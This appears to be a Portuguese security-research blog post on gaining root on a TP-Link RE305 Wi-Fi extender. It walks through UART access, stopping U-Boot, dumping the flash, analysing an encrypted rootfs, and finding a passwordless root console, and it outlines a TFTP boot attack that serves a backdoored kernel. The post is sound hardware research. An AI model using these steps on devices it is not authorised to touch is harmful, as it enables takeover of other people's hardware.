<p>O MT7628 herdou árvore inteira de U-Boot e kernel da Ralink. Branch antigo, sem hardening, com comandos perigosos compilados por default. Quase tudo no fingerprint aparece em outros SKUs do TP-Link, Mercusys, Tenda. Kernel 2.6.36 (lançado em 2010) entregue em firmware compilado em 2020.</p>
<p>Flash de 8 MiB é a fronteira aceitável pra dump serial. Acima de 32 MiB eu não tentaria por UART, vai por chip-off. Abaixo de 16 MiB ainda compensa o cabo. O rootfs SquashFS é o esperado pra embarcado, read-only, comprimido. O que não esperava era encontrar a partição encrypted-at-rest na flash, assunto da seção 9.</p>
<img src="https://cdn.hashnode.com/uploads/covers/6a107e9e1f237623ea0e01ee/8d93c70b-0541-4bb2-b0de-2acf38463996.png" alt="" style="display:block;margin:0 auto" />

<p>Tabela de especificações da plataforma</p>
<hr />
<h2>3. Identificação física da interface UART</h2>
<p>Abri o gabinete (dois parafusos sob o pé de borracha, clipes laterais) e procurei o header de debug. Em devices anteriores tive que descobrir UART às cegas com multímetro. TX em idle marca 3.3V constante, RX puxa pull-up fraco, e durante o boot o TX oscila rapidamente. Aqui o vendor entregou silkscreen direto na placa:</p>
<img src="https://cdn.hashnode.com/uploads/covers/6a107e9e1f237623ea0e01ee/de416c09-3bb9-4a81-b6f0-c9cc3e73d61f.png" alt="" style="display:block;margin:0 auto" />

<p>PCB do RE305 com pads UART destacados</p>
<p>Quatro pads no canto direito:</p>
<table>
<thead>
<tr>
<th>Pad</th>
<th>Função</th>
<th>Nível</th>
</tr>
</thead>
<tbody><tr>
<td>TX</td>
<td>Saída do SoC (DUT → host)</td>
<td>3.3 V TTL idle high</td>
</tr>
<tr>
<td>RX</td>
<td>Entrada do SoC (host → DUT)</td>
<td>3.3 V TTL idle high</td>
</tr>
<tr>
<td>3V3</td>
<td>Tensão de referência</td>
<td>3.3 V constante</td>
</tr>
<tr>
<td>GND</td>
<td>Terra</td>
<td>0 V</td>
</tr>
</tbody></table>
<p>Pads não-vazados não são proteção. Quem chega com ferro de solda resolve em cinco minutos. Mitigação real seria gatear o UART por fuse no manufacturing, desabilitar console no U-Boot por build flag, tirar o getty do Linux. Nenhuma das três foi feita.</p>
<p>Atenção pra pad 3V3. Ela não é pra ligar no bridge quando o device tá alimentado pela própria fonte. Conectar 3V3 cria caminho concorrente de alimentação e pode queimar regulador ou o bridge. Essa pad existe pro cenário inverso, alimentar o bridge a partir do alvo. Nunca o contrário.</p>
<p>Nível TTL aqui é 3.3 V. Não 5 V. Nada de RS-232 ±12 V. Conectar cabo serial DB9 direto no SoC, sem level shifter, queima o pino.</p>
<hr />
<h2>4. Soldagem dos pads</h2>
<p>Como os pads não estavam vazados, soldei três fios (TX, RX, GND) num header de jumper externo. Header externo facilita conectar e desconectar sem ficar mexendo na placa.</p>
<img src="https://cdn.hashnode.com/uploads/covers/6a107e9e1f237623ea0e01ee/3aada830-4ce8-4d02-8c7b-05e3d1c6c29f.png" alt="" style="display:block;margin:0 auto" />

<p>Fios soldados aos pads UART</p>
<p>Convenção que mantenho entre devices. Vermelho no TX (mnemônico: vermelho é o lado barulhento). Verde no RX, não uso no dump inicial mas preciso assim que entro no CLI do U-Boot. Preto no GND, referência comum obrigatória.</p>
<p>A primeira soldagem ficou com aspecto fosco e crateroso, solda fria clássica. Ou o ferro tava abaixo da temperatura, ou o pad oxidado, ou o fio se moveu antes da solda solidificar. Solda fria é traiçoeira porque não falha completamente. Cria resistência intermitente que degrada o sinal serial sem matar. Caracteres corrompem aleatórios. Funciona em baud baixo e morre em baud alto. Captura OK em trecho curto, perde bytes em rajada longa.</p>
<p>O último é o pesadelo num <code>md.b</code> de horas. Dumpa MB inteiro, confere no final, faltam bytes aleatórios no meio. Refaz tudo.</p>
<p>Refiz a soldagem com ferro em 340°C, solda 60/40 com flux, contato de 1 a 2 segundos por junção. Juntas brilhantes, cônicas, sem inclusão. A diferença na qualidade do dump foi imediata.</p>
<hr />
<h2>5. Bridge USB-UART</h2>
<p>Bridge USB-UART é o componente que traduz o sinal TTL 3.3V do alvo pra algo que o host Linux enxerga como porta serial. Funciona qualquer módulo que opere em 3.3V nativo.</p>
<p>A recomendação default pra começar é o <strong>módulo CP2102 USB 2.0 p/ TTL UART (5 pinos)</strong>, uns 30 reais em qualquer marketplace BR. Plug-and-play no Linux via driver <code>cp210x</code>, enumera como <code>/dev/ttyUSB0</code>. Vem com pinos VCC (3.3V), GND, TXD, RXD, e tipicamente um quinto pino (DTR ou RTS) que não uso. Atenção a uma pegadinha dos módulos baratos: alguns têm jumper VCC entre 3.3V e 5V. Se o seu não tem jumper, confirma no datasheet que a saída lógica está em 3.3V. O chip CP2102 opera nativamente em 3.3V mesmo alimentado por USB 5V, mas módulos ruins às vezes colocam level shifter que sobe a saída pra 5V e queima o pino do SoC.</p>
<p>Alternativas equivalentes: CH340G (mais barato, às vezes só em 5V, cuidado) ou FT232 (mais robusto eletricamente, mais caro). Funciona qualquer um.</p>
<p>Eu usei o Flipper Zero aqui porque já tinha na bancada e ele tem modo USB-UART bridge nativo. No Linux ele enumera como <code>/dev/ttyACM0</code> em vez de <code>ttyUSB0</code>. Tem display embutido com contadores TX/RX em tempo real, útil pra validar conexão antes de abrir terminal, e baud configurável pelos botões. Mas Flipper no Brasil é raro e caro. Não compra Flipper só pra fazer hardware hacking, vai de CP2102. Todo o resto do procedimento abaixo é idêntico, só muda o nome do device no <code>/dev</code>.</p>
<h3>5.1 Pinout</h3>
<table>
<thead>
<tr>
<th>Sinal no bridge</th>
<th>Conecta a</th>
</tr>
</thead>
<tbody><tr>
<td>TX</td>
<td>RX do alvo (com 220Ω inline)</td>
</tr>
<tr>
<td>RX</td>
<td>TX do alvo</td>
</tr>
<tr>
<td>GND</td>
<td>GND do alvo</td>
</tr>
</tbody></table>
<p>O resistor de 220Ω inline entre o TX do bridge e o RX do alvo é crítico e quase nenhum tutorial menciona. Sem ele, o pino TX do bridge em idle (3.3V high) acaba back-powering o RX do alvo via diodo de proteção interno do SoC. Em alguns devices isso é inofensivo. Em outros impede o boot porque o SoC vê tensão na entrada antes do regulador principal estabilizar e fica em estado indefinido. No RE305 especificamente, sem o resistor o boot trava em loop. Com 220Ω inline o problema some.</p>
<p>O valor é pragmático. Alto o bastante pra limitar a corrente de back-feed a níveis seguros (uns 15mA pior caso), baixo o bastante pra não comprometer o slew rate em 57600 baud. Já vi gente usando 470Ω também, funciona. Acima de 1kΩ começa a degradar o eye pattern em baud alto.</p>
<h3>5.2 Erro inicial: TX→TX, RX→RX</h3>
<p>Primeira tentativa de conexão foi a intuitiva, TX no bridge ligado em TX no router, RX em RX:</p>
<img src="https://cdn.hashnode.com/uploads/covers/6a107e9e1f237623ea0e01ee/a78acb16-b343-424c-8d34-4f6d43130038.png" alt="" style="display:block;margin:0 auto" />

<p>Flipper aguardando dados, contadores zerados</p>
<p>Zero bytes recebidos.</p>
<p>UART é ponto-a-ponto sem clock compartilhado, com duas linhas unidirecionais. O nome dos pinos é da perspectiva do próprio device. O TX do alvo é uma saída e tem que entrar no RX (entrada) do bridge. TX→TX é dois drivers empurrando nível lógico no mesmo fio ao mesmo tempo. Nada é lido, e em impedância baixa pode queimar um dos lados.</p>
<p>Regra: UART sempre cruza. I2C, SPI e protocolos com nomes simétricos alinham (SDA↔︎SDA, MOSI↔︎MOSI). Sem exceção.</p>
<h3>5.3 Conexão correta e baud rate</h3>
<p>Invertidos os fios e refeita a solda, comecei a contar bytes:</p>
<img src="https://cdn.hashnode.com/uploads/covers/6a107e9e1f237623ea0e01ee/991f6788-fcb9-4734-8813-9158ed247c1e.png" alt="" style="display:block;margin:0 auto" />

<p>Flipper a 57600 baud recebendo dados</p>
<p>Baud foi por trial-and-error na lista padrão: 9600, 19200, 38400, 57600, 115200, 230400. Critério visual. Baud errado mostra extended ASCII aleatório. Baud certo mostra boot log legível após o próximo power cycle.</p>
<p>Para o RE305 é 57600. Menos comum que o 115200 quase-universal, às vezes confunde scripts automatizados que assumem default. Confirmei depois via <code>bdinfo</code> no U-Boot CLI (<code>baudrate = 57600 bps</code>) e via kernel cmdline (<code>console=ttyS1,57600n8</code>). Tentei subir o baud no U-Boot com <code>setenv baudrate 230400</code> pra acelerar o dump. Rejeitado, <code>Baudrate %d bps not supported</code>. 57600 é o teto do build.</p>
<p>Alternativa rigorosa ao trial-and-error é medir o período do menor pulso no TX com osciloscópio (<code>baud ≈ 1 / período_mín</code>), ou usar analisador lógico com auto-baud. Pra alvos comuns, sweep manual é mais rápido. Mantenho um <code>sweep_focused.py</code> que faz isso programaticamente em Python, medindo fração de bytes printable ASCII por baud testado.</p>
<hr />
<h2>6. Captura no host</h2>
<p>Bridge estável, baud confirmado, interajo via <code>tio</code>. Terminal serial decente com logging integrado:</p>
<pre><code class="language-bash">tio -b 57600 -t -l --log-file ~/research/tplink_re305_uart/capture_host.log /dev/ttyACM0
</code></pre>
<p>Flags que uso: <code>-b 57600</code> no baud confirmado, <code>-t</code> pra timestamp em cada linha capturada (essencial pra correlacionar eventos do boot), e <code>-l --log-file ...</code> pra log persistente em paralelo ao display. A primeira coisa que rodo depois é <code>strings capture_host.log | grep -i password</code>. Costuma render coisa, vendor deixa creds default, paths debug, chaves de teste, tudo no boot log.</p>
<p>Defaults implícitos do <code>tio</code> são <code>8N1</code> (8 data bits, no parity, 1 stop bit), sem flow control. Padrão universal em UART embarcado.</p>
<h3>O que sai no boot log antes do U-Boot CLI</h3>
<p>Captura de 90 segundos rendeu 29 KB de boot. Antes mesmo de chegar no U-Boot CLI, o kernel cmdline já entrega:</p>
<pre><code class="language-plaintext">Kernel command line: console=ttyS1,57600n8 root=/dev/mtdblock3 init=/sbin/init earlyprintk debug
</code></pre>
<p><code>earlyprintk debug</code> em firmware de produção é falha de hardening que não escapa numa auditoria séria. <code>earlyprintk</code> libera leitura de mensagens do kernel desde o primeiro instante do boot via UART, antes do console regular do kernel estar pronto. <code>debug</code> aumenta verbosidade de subsystems (drivers de network, USB, MTD) incluindo endereços de memória, stack traces de init, detalhes que normalmente seriam só de development build.</p>
<p>Combinado com UART trivialmente acessível, é info leak by design. Cinco minutos de hands-on entregam o dump completo do boot.</p>
<hr />
<h2>7. Interceptação do U-Boot</h2>
<p>O boot do MT7628 imprime banner característico e antes de chamar o kernel abre uma janela de prompt, geralmente 1 a 3 segundos, onde espera tecla pra cair num menu. Em alguns vendors essa janela é zerada como mitigação. No RE305 ela continua aberta por 1 segundo:</p>
<img src="https://cdn.hashnode.com/uploads/covers/6a107e9e1f237623ea0e01ee/064062e9-8630-4a59-9a5b-abcc418df66a.png" alt="" style="display:block;margin:0 auto" />

<p>U-Boot CLI prompt após pressionar 4</p>
<p>Menu impresso:</p>
<pre><code class="language-plaintext">1: Load system code to SDRAM via TFTP.
2: Load system code then write to Flash via TFTP.
3: Boot system code via Flash (default).
4: Entr boot command line interface.
7: Load Boot Loader code then write to Flash via Serial.
9: Load Boot Loader code then write to Flash via TFTP.
</code></pre>
<p>Pressionar <code>4</code> na janela cai no CLI <code>MT7628 #</code>. As opções 1, 2 e 3 são vetores de boot. <code>1</code> carrega na RAM via TFTP sem persistir, útil pra testar firmware modificado sem risco de brick. <code>2</code> reflasha a partir de TFTP. <code>3</code> é o boot normal de flash. As opções 7 e 9 reflasham o próprio bootloader, falha aqui é brick definitivo sem JTAG. Não toquei.</p>
<h3>7.1 Opções de menu escondidas</h3>
<p>Menu impresso mostra 1, 2, 3, 4, 7, 9. Faltam 5, 6, 8. Quando rodei <code>strings</code> no <code>uboot.bin</code> depois do dump, achei quatro strings entre offsets <code>0x13d14</code> e <code>0x14044</code> que nunca aparecem no console:</p>
<pre><code class="language-plaintext">%d: System Load Linux to SDRAM via TFTP [Automatically].
%d: System Load Linux then write to Flash via Serial.
%d: System Load UBoot to SDRAM via TFTP.
%d: System Load Linux Kernel then write to Flash via TFTP.
</code></pre>
<p><code>%d:</code> é placeholder de número. Existem opções de índice 5, 6, 8 (ou variantes) que executam fluxos que a UI nunca admite. Dois preocupam: <code>Load Linux to SDRAM via TFTP [Automatically]</code> faz TFTP boot sem interação humana, disparado por alguma condição que ainda não identifiquei (env var? GPIO jumper? magic no environment?). E <code>Load UBoot to SDRAM via TFTP</code> faz bootstrap de uma versão modificada do próprio U-Boot em RAM, antes de tocar a flash.</p>
<p>A palavra <code>[Automatically]</code> é o que preocupa. Se existe condição que dispara TFTP boot sem interação e o <code>serverip</code> é hardcoded (próxima seção), o vetor não precisa de físico. Basta atacante no IP certo no momento certo.</p>
<p>Não validei in-band ainda. Testar 5, 6, 8 no prompt exige power cycle, e cada power cycle custa o tempo de boot inteiro com o dump do file-system ainda rodando.</p>
<h3>7.2 Banner</h3>
<p>Dois warnings que valem registro:</p>
<pre><code class="language-plaintext">Warning: un-recognized chip ID, please update bootloader!
*** Warning - bad CRC, using default environment
</code></pre>
<p>O primeiro indica U-Boot compilado pra uma revisão diferente do MT7628, rodando em modo de compatibilidade. Sinal de firmware reaproveitado entre SKUs derivados da mesma reference platform da Ralink. Não específico do device, é da família.</p>
<p>O segundo eu li como CRC do environment quebrado e fallback pra defaults compilados. Mas quando rodei <code>printenv</code> o output veio limpo e coerente, valores realistas em <code>bootcmd</code>, <code>serverip</code>, <code>ethaddr</code>, não placeholders vazios. Provavelmente o CRC warning é gerado uma vez no primeiro boot pós-flash e o env é re-salvo logo depois, mas a mensagem persiste no banner.</p>
<hr />
<h2>8. Enumeração via U-Boot CLI</h2>
<p>Com o CLI ativo, dois comandos resumem o reconhecimento antes do dump.</p>
<img src="https://cdn.hashnode.com/uploads/covers/6a107e9e1f237623ea0e01ee/9036f8df-7481-4a20-bde0-3564f825dfb6.png" alt="" style="display:block;margin:0 auto" />

<p>Saída do bdinfo e md.b inicial</p>
<h3>8.1 <code>bdinfo</code></h3>
<pre><code class="language-plaintext">boot_params = 0x83F57FB0
memstart    = 0x80000000
memsize     = 0x04000000   (64 MiB DRAM)
flashstart  = 0x00000000
flashsize   = 0x00800000   (8 MiB SPI flash)
flashoffset = 0x00000000
ethaddr     = 00:AA:BB:CC:DD:10
ip_addr     = 192.168.0.254
baudrate    = 57600 bps
</code></pre>
<p>Numa chamada <code>bdinfo</code> entrega mapeamento DRAM, tamanho da flash, MAC default do U-Boot (não o MAC real do device em produção, que fica na partição <code>radio</code> ou <code>factory</code>), IP default pra <code>tftpboot</code>, e baud rate.</p>
<h3>8.2 <code>printenv</code></h3>
<pre><code class="language-plaintext">bootcmd=tftp
bootdelay=1
baudrate=57600
ipaddr=192.168.0.254
serverip=192.168.0.184
ethaddr="00:AA:BB:CC:DD:10"
</code></pre>
<p>Duas linhas saltam aqui.</p>
<p><code>bootcmd=tftp</code> é o comando padrão de boot, TFTP, não <code>bootm</code> da flash. Provavelmente há fallback pra flash quando o TFTP falha (boot via flash claramente funciona em condições normais), mas a primeira tentativa do bootloader é puxar o kernel via rede.</p>
<p><code>serverip=192.168.0.184</code> é hardcoded e persistente. Esse é o IP que o U-Boot consulta via TFTP no boot.</p>
<p>A combinação das duas em device de produção é vetor de TFTP boot attack. Cenário concreto: atacante leva o RE305 alvo pro laboratório (ou tem físico curto, ordem de minutos), pluga o RE305 num laptop via Ethernet, laptop com IP estático em <code>192.168.0.184</code> rodando <code>tftpd-hpa</code> servindo payload (kernel modificado, firmware com backdoor, o que quiser), power-cycle no RE305, <code>bootcmd=tftp</code> executa, puxa o payload, boota a versão modificada. Persistência via <code>mtd_write</code> ou via opção 2 do menu, que reflasha a partir do TFTP.</p>
<p>Sem físico mas com LAN, o ataque depende de ARP-spoof sustentado de <code>.184</code> antes do power cycle, ou de comprometer o gateway upstream pra entregar DHCP malicioso. Mais difícil, viável.</p>
<p>No contexto do RE305, que é extender com dois modos de operação, a separação importa. Em modo standalone (out-of-box, pós-reset), WebUI fica em <code>http://192.168.0.254/</code>, atacante LAN conecta direto, env U-Boot <code>ipaddr=192.168.0.254</code> ativo, ataque simples (rede isolada attacker-extender). Em modo extender (associado a router upstream), o IP do RE305 é DHCP-acquired, atacante precisa localizar o device primeiro (mDNS <code>tplinkrepeater.local</code>, ARP scan, listing do router upstream se ele tiver sido comprometido). Mas a janela de boot continua usando <code>ipaddr=192.168.0.254</code> mesmo nesse modo. Atacante com físico + power-cycle força o ataque porque o U-Boot não respeita config userspace durante o boot.</p>
<p>Sem CVE público pra essa combinação no RE305 AC1200. Genéricos da família TP-Link RE existem mas não citam o RE305.</p>
<h3>8.3 <code>help spi</code></h3>
<p>O <code>help</code> puro lista só:</p>
<pre><code class="language-plaintext">spi    - spi command
 use "help spi" for detail!
</code></pre>
<p>Útil zero. Dumpado o <code>uboot.bin</code> e rodado <code>strings</code>, o sub-menu completo aparece:</p>
<pre><code class="language-plaintext">spi read &lt;addr&gt; &lt;len&gt;            -- lê SPI flash direto pra RAM
spi erase &lt;offs&gt; &lt;len&gt;           -- erase setores
spi write &lt;offs&gt; &lt;hex_str_value&gt; -- escreve hex string em flash
spi sr write &lt;value&gt;             -- escreve status register (write-protect bits)
</code></pre>
<p><code>spi write</code> permite escrita arbitrária de bytes em qualquer offset da SPI flash a partir do U-Boot CLI, sem proteção. Combinado com <code>spi sr write</code>, desabilita os bits de block protection antes da escrita, mesmo se o vendor tivesse habilitado.</p>
<p>O <code>help</code> esconde a superfície não por design seguro, e sim porque o vendor copiou o U-Boot da Ralink sem se preocupar em listar subcomandos. Operador que checa <code>help</code> antes de cogitar atacar o bootloader subestima a primitiva disponível. Quem dumpa o U-Boot e roda <code>strings</code> vê o controle todo.</p>
<p>Sem CVE público específico documentando <code>spi write/erase/sr write</code> como surface oculta nessa variante de Ralink U-Boot 1.1.3.</p>
<h3>8.4 <code>md.b</code></h3>
<pre><code class="language-plaintext">MT7628 # md.b 0xBC000000 0x40
bc000000: ff 00 00 10 00 00 00 00 fd 00 00 10 00 00 00 00   ................
bc000010: 2f 03 00 10 00 00 00 00 2d 03 00 10 00 00 00 00   /.......-.......
bc000020: 2b 03 00 10 00 00 00 00 29 03 00 10 00 00 00 00   +.......)......
bc000030: 27 03 00 10 00 00 00 00 25 03 00 10 00 00 00 00   '.......%......
</code></pre>
<p>Sintaxe: <code>md.b &lt;endereço&gt; &lt;count&gt;</code>. Variantes <code>md.w</code> (16-bit) e <code>md.l</code> (32-bit) servem em outros contextos.</p>
<p>Por que <code>0xBC000000</code>? No MIPS o espaço virtual é dividido:</p>
<table>
<thead>
<tr>
<th>Segmento</th>
<th>Faixa</th>
<th>Propriedade</th>
</tr>
</thead>
<tbody><tr>
<td><code>kuseg</code></td>
<td><code>0x00000000 a 0x7FFFFFFF</code></td>
<td>User, mapeado por TLB</td>
</tr>
<tr>
<td><code>kseg0</code></td>
<td><code>0x80000000 a 0x9FFFFFFF</code></td>
<td>Kernel, cached, direct map</td>
</tr>
<tr>
<td><code>kseg1</code></td>
<td><code>0xA0000000 a 0xBFFFFFFF</code></td>
<td>Kernel, uncached, direct map</td>
</tr>
<tr>
<td><code>kseg2</code></td>
<td><code>0xC0000000 a 0xFFFFFFFF</code></td>
<td>Kernel, mapeado por TLB</td>
</tr>
</tbody></table>
<p>A SPI flash fica na faixa <code>0xBC000000</code> a <code>0xBC7FFFFF</code> (kseg1, uncached). Leitura uncached evita coerência de cache durante o read serial. O equivalente cached estaria em <code>0x9C000000</code>.</p>
<p>Os primeiros bytes do dump (<code>ff 00 00 10</code>) são o opcode de jump do reset vector. Em little-endian, <code>0x1000_00ff</code>, instrução MIPS <code>b 0x400</code>, branch para o ponto de entrada. Confirma flash mapeada e legível, e que o que vou dumpar é o U-Boot.</p>
<hr />
<h2>9. Dump das partições</h2>
<h3>9.1 Por que é lento</h3>
<p><code>md.b</code> é primitiva de display, não transferência. Cada byte da flash vira ASCII (3 chars: dois hex e um espaço), prefixo de endereço de 8 chars, sufixo ASCII visual da linha, terminação CRLF. Tudo isso enviado por UART a 57600 baud, recebido no host, parseado de volta pra binário no script. Overhead de codificação fica em uns 4 ou 5x. Throughput efetivo de 57600 baud (uns 5760 bytes/s na wire) cai pra uns 1 KB/s de binário útil. 8 MiB completos dariam 2h30 de captura contínua.</p>
<p>Particionar permite trabalhar paralelamente. Extrair primeiro as partes pequenas (u-boot, radio) pra começar análise, deixar o file-system rodando overnight.</p>
<p>Automação em Python (<code>uboot_dump.py</code>) faz o seguinte. Abre <code>/dev/ttyACM0</code> ou <code>/dev/ttyUSB0</code> em 57600 baud via <code>pyserial</code>. Itera por chunks de 16 KiB. Pra cada chunk envia <code>md.b &lt;base+offset&gt; 0x4000\r\n</code>. Captura a resposta até o prompt <code>MT7628 #</code> aparecer de novo. Descarta eco do comando e prompt, parse dos hex de cada linha, escreve binário sequencial no arquivo de saída. Reporta progresso e verifica bytes esperados vs recebidos por chunk.</p>
<h3>9.2 Dumps executados</h3>
<img src="https://cdn.hashnode.com/uploads/covers/6a107e9e1f237623ea0e01ee/8c3c51b7-a831-43d2-87d4-97a8218d3252.png" alt="" style="display:block;margin:0 auto" />

<p>Saída sequencial dos três dumps com uboot_dump.py</p>
<p>Três partições alinhadas ao MTD layout:</p>
<pre><code class="language-bash"># Radio / calibração (64 KiB)
python3 /tmp/uboot_dump.py \
    --port /dev/ttyACM0 --baud 57600 \
    --base 0xBC7F0000 --size 0x10000 --chunk 0x4000 \
    --out ~/research/tplink_re305_uart/radio.bin
# 65536/65536B (100.0%) em 1.0 min

# U-Boot (128 KiB)
python3 /tmp/uboot_dump.py \
    --port /dev/ttyACM0 --baud 57600 \
    --base 0xBC000000 --size 0x20000 --chunk 0x4000 \
    --out ~/research/tplink_re305_uart/uboot.bin
# 130496/131072B (99.6%) em 2.1 min

# File system (~6.75 MiB)
python3 /tmp/uboot_dump.py \
    --port /dev/ttyACM0 --baud 57600 \
    --base 0xBC100000 --size 0x6C0000 --chunk 0x4000 \
    --out ~/research/tplink_re305_uart/file_system.bin
# ETA ~105 min
</code></pre>
<p>Endereços base saem do offset do segmento de flash (<code>0xBC000000</code>) somado ao offset de cada partição no MTD layout:</p>
<table>
<thead>
<tr>
<th>Partição</th>
<th>Offset físico</th>
<th>Endereço U-Boot</th>
<th>Tamanho</th>
</tr>
</thead>
<tbody><tr>
<td><code>fs-uboot</code></td>
<td><code>0x000000</code></td>
<td><code>0xBC000000</code></td>
<td>128 KiB</td>
</tr>
<tr>
<td><code>os-image</code></td>
<td><code>0x020000</code></td>
<td><code>0xBC020000</code></td>
<td>896 KiB (kernel comprimido)</td>
</tr>
<tr>
<td><code>file-system</code></td>
<td><code>0x100000</code></td>
<td><code>0xBC100000</code></td>
<td>~6.75 MiB (SquashFS userspace)</td>
</tr>
<tr>
<td><code>radio</code></td>
<td><code>0x7F0000</code></td>
<td><code>0xBC7F0000</code></td>
<td>64 KiB (radio cal data)</td>
</tr>
</tbody></table>
<h3>9.3 <code>radio.bin</code></h3>
<p>Partição inteira saiu como <code>DD BA DD BA DD BA ...</code> repetindo por 64 KiB. Não é dado de calibração WiFi (que seria binário denso e variado), nem flash virgem (que seria <code>FF FF</code> em SPI NOR). Pattern de erase mark, ou estado factory clean indicando que esta unidade nunca recebeu calibração WiFi, ou que algum reset apagou a partição.</p>
<p>Em condições normais <code>radio</code> guardaria MAC real, region code, calibração de RF da antena. Aqui está vazio. Pode ser unidade remanufactured, ou o pipeline de fábrica usar estratégia diferente, MAC pode estar embutido no SquashFS ou ser derivado de outra coisa. Não investiguei a fundo, anotei.</p>
<h3>9.4 <code>file_system.bin</code>, a surpresa</h3>
<p>Quando o dump do file-system terminou (6.75 MiB, uns 105 min), abri o resultado no <code>hexdump</code>. A expectativa pra userspace em OpenWrt-derivado é encontrar logo no primeiro chunk a magic do SquashFS, <code>hsqs</code> em little-endian (<code>73 71 73 68</code>), ou <code>sqsh</code> se big-endian. A partir daí o filesystem é comprimido (XZ ou LZMA) com inodes denso, output típico do <code>hexdump</code> é binário high-entropy mas com magic identificável e estrutura.</p>
<p>O que veio foi:</p>
<pre><code class="language-bash">$ hexdump -C file_system.bin | head -8
00000000  3a 7f 8e 22 6b a1 11 5d  c4 ee 39 b8 7c 02 a7 fd  |:..\"k..]..9.|...|
00000010  e1 4c 6d 0b 51 f9 a8 c0  7b 14 23 ef 96 5a 31 d8  |.Lm.Q...{.#..Z1.|
00000020  29 6d a4 0e f3 17 8b ca  55 9c 2f 67 d0 e8 41 b3  |)m......U./g..A.|
...
</code></pre>
<p>Entropia uniforme. Cálculo via Python:</p>
<pre><code class="language-python">import math
from collections import Counter
data = open('file_system.bin','rb').read(1024)
c = Counter(data)
print(sum(-(v/1024)*math.log2(v/1024) for v in c.values()))
# 7.82 bits/byte
</code></pre>
<p>7.82 bits/byte em chunks de 1 KB. Em chunks de 512B fica em 7.5 a 7.7. Isso não é SquashFS comprimido raw, é ciphertext, ou comprimido com algo que não tô reconhecendo.</p>
<p>Validações que rodei. Magic byte exhaustive search no arquivo inteiro: zero ocorrência de <code>hsqs</code>, <code>sqsh</code>, JFFS2 (<code>85 19 03 20</code>), cramfs (<code>cs&lt;G</code>), UBIFS, YAFFS, XZ stream header (<code>fd 37 7a 58 5a 00</code>). ASCII runs: zero runs de 20 caracteres printáveis ou mais em sequência. Se fosse SquashFS comprimido, mesmo com XZ os primeiros bytes da magic e os metadata seriam reconhecíveis. XOR brute-force de 1 byte: testei as 256 chaves possíveis, nenhuma quebra o padrão. XOR brute-force de 4 bytes derived (forçando os primeiros 4 bytes pra <code>hsqs</code>): chave derivada aplicada no resto, entropia permanece 7.82, não é XOR estático. Descompressão direta com <code>xz</code>, <code>lzma</code>, <code>gzip</code>: todos retornam erro de formato. <code>binwalk</code> em 6.75 MiB inteiros: zero magic detectada.</p>
<p>Mas o kernel monta esse filesystem normalmente. No boot log:</p>
<pre><code class="language-plaintext">VFS: Mounted root (squashfs filesystem) readonly on device 31:3
</code></pre>
<p>O Linux lê a partição (<code>/dev/mtdblock3</code>), monta como SquashFS, e o userspace roda. A “decryption” acontece runtime durante o mount path do kernel.</p>
<p>Hipótese de trabalho: o MT7628 tem hardware flash encryption engine ativado via eFuse OTP no manufacturing. CPU acessa flash via memory-mapped (kseg1), engine decrypta on-the-fly antes do dado chegar no barramento. <code>md.b</code> no U-Boot lê via PIO bypass (path que pula o engine pra permitir flash programming raw), vê ciphertext puro. Linux kernel via MMU/cached path vê plaintext, monta normalmente.</p>
<p>Pesquisei a hipótese. O kernel TP-Link decompactado (extraído da partição <code>os-image</code>) não tem strings de cipher custom. <code>grep</code> retorna apenas crypto stdlib uClibc, nenhum nome de função AES/ChaCha/proprietário. Symbols <code>ramtd_read</code>/<code>ramtd_write</code> estão lá mas sem indicação de hook de decrypt. Datasheet público do MT7628 menciona “Flash Encryption Engine” entre as features de segurança da plataforma, historicamente ativável via fuses.</p>
<p>Cross-validei depois baixando o firmware oficial do site da TP-Link. O update vem plain, SquashFS desencriptado, magic <code>hsqs</code> no offset esperado. O binário distribuído pelo site não está criptografado de origem. Quem encripta é o pipeline de write da fábrica (ou o <code>mtd_write</code> userspace tool com a key apropriada). O ciphertext só existe na flash em produção.</p>
<p>Análise estática userspace (httpd, daemons proprietários, CGI) a partir do dump UART fica bloqueada sem decryption, esse é o lado positivo do mecanismo. Leitura útil vem do firmware update file público, OU de memory dump pós-mount via U-Boot, OU do shell root (próxima seção). Encrypt-at-rest impede leitura passiva via chip-off (dessoldar a flash e ler com programador externo), mas é hardware-bound, não user-controllable, e a key vive no eFuse.</p>
<p>Não é defesa contra adversário com acesso UART pós-boot. Porque o filesystem já tá montado plain quando o Linux roda.</p>
<hr />
<h2>10. Console root pós-boot</h2>
<p>Aqui muda o modelo de ameaça do device.</p>
<p>Depois do dump, deixei o RE305 boot até o final só pra observar o console. Kernel sobe, userspace inicializa (init, dropbear, uhttpd, daemons proprietários), sistema chega em idle. Apertei Enter no terminal <code>tio</code> esperando login prompt.</p>
<p>Recebi:</p>
<pre><code class="language-plaintext">root@OpenWrt:/#
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/6a107e9e1f237623ea0e01ee/6f441955-396f-48c6-960e-d3a574b87e7d.png" alt="" style="display:block;margin:0 auto" />

<p>Sem login. Sem senha.</p>
<pre><code class="language-bash">root@OpenWrt:/# id
uid=0(root) gid=0(root)
root@OpenWrt:/# cat /etc/shadow
root::0:0:99999:7:::
</code></pre>
<p>Segundo campo do <code>/etc/shadow</code>, o hash de senha, vazio. Root no Linux do RE305 não tem senha em produção.</p>
<p>Suspeitei que o <code>inittab</code> ou o <code>procd</code> tinha alguma proteção de getty que não tava vendo. Não tinha. O <code>/etc/inittab</code> aponta o console serial pra <code>/bin/login</code>, <code>/bin/login</code> checa <code>/etc/shadow</code>. Com hash vazio, login no console serial passa direto.</p>
<p>Pior. O <code>/etc/config/dropbear</code> tem uma tentativa de hardening:</p>
<pre><code class="language-plaintext">config dropbear
    option PasswordAuth 'on'
    option RootPasswordAuth 'on'
    option Port '22'
    option SysAccountLogin 'off'
</code></pre>
<p>A diretiva <code>SysAccountLogin 'off'</code> parece bloquear login com contas que existem em <code>/etc/passwd</code>. Mas:</p>
<pre><code class="language-bash">$ strings usr/sbin/dropbear | grep -i sysaccount
(no output)
</code></pre>
<p>A string <code>SysAccountLogin</code> não aparece no binário. Diretiva silently ignored. Config lista, runtime não implementa. Defesa não-funcional.</p>
<p>Combinando: root sem senha + dropbear não respeitando a tentativa de bloquear contas do sistema. Qualquer canal que chegue no login do dropbear ou no getty serial entra como root.</p>
<p>A janela de ataque concreta. Via UART (físico) é o que acabei de fazer, 30 minutos do parafuso ao shell. <strong>Via SSH em LAN não vai</strong> — testei exaustivamente:</p>
<pre><code class="language-plaintext">$ ssh root@192.168.0.14
root@192.168.0.14's password:    ← Enter vazio
Permission denied, please try again.
</code></pre>
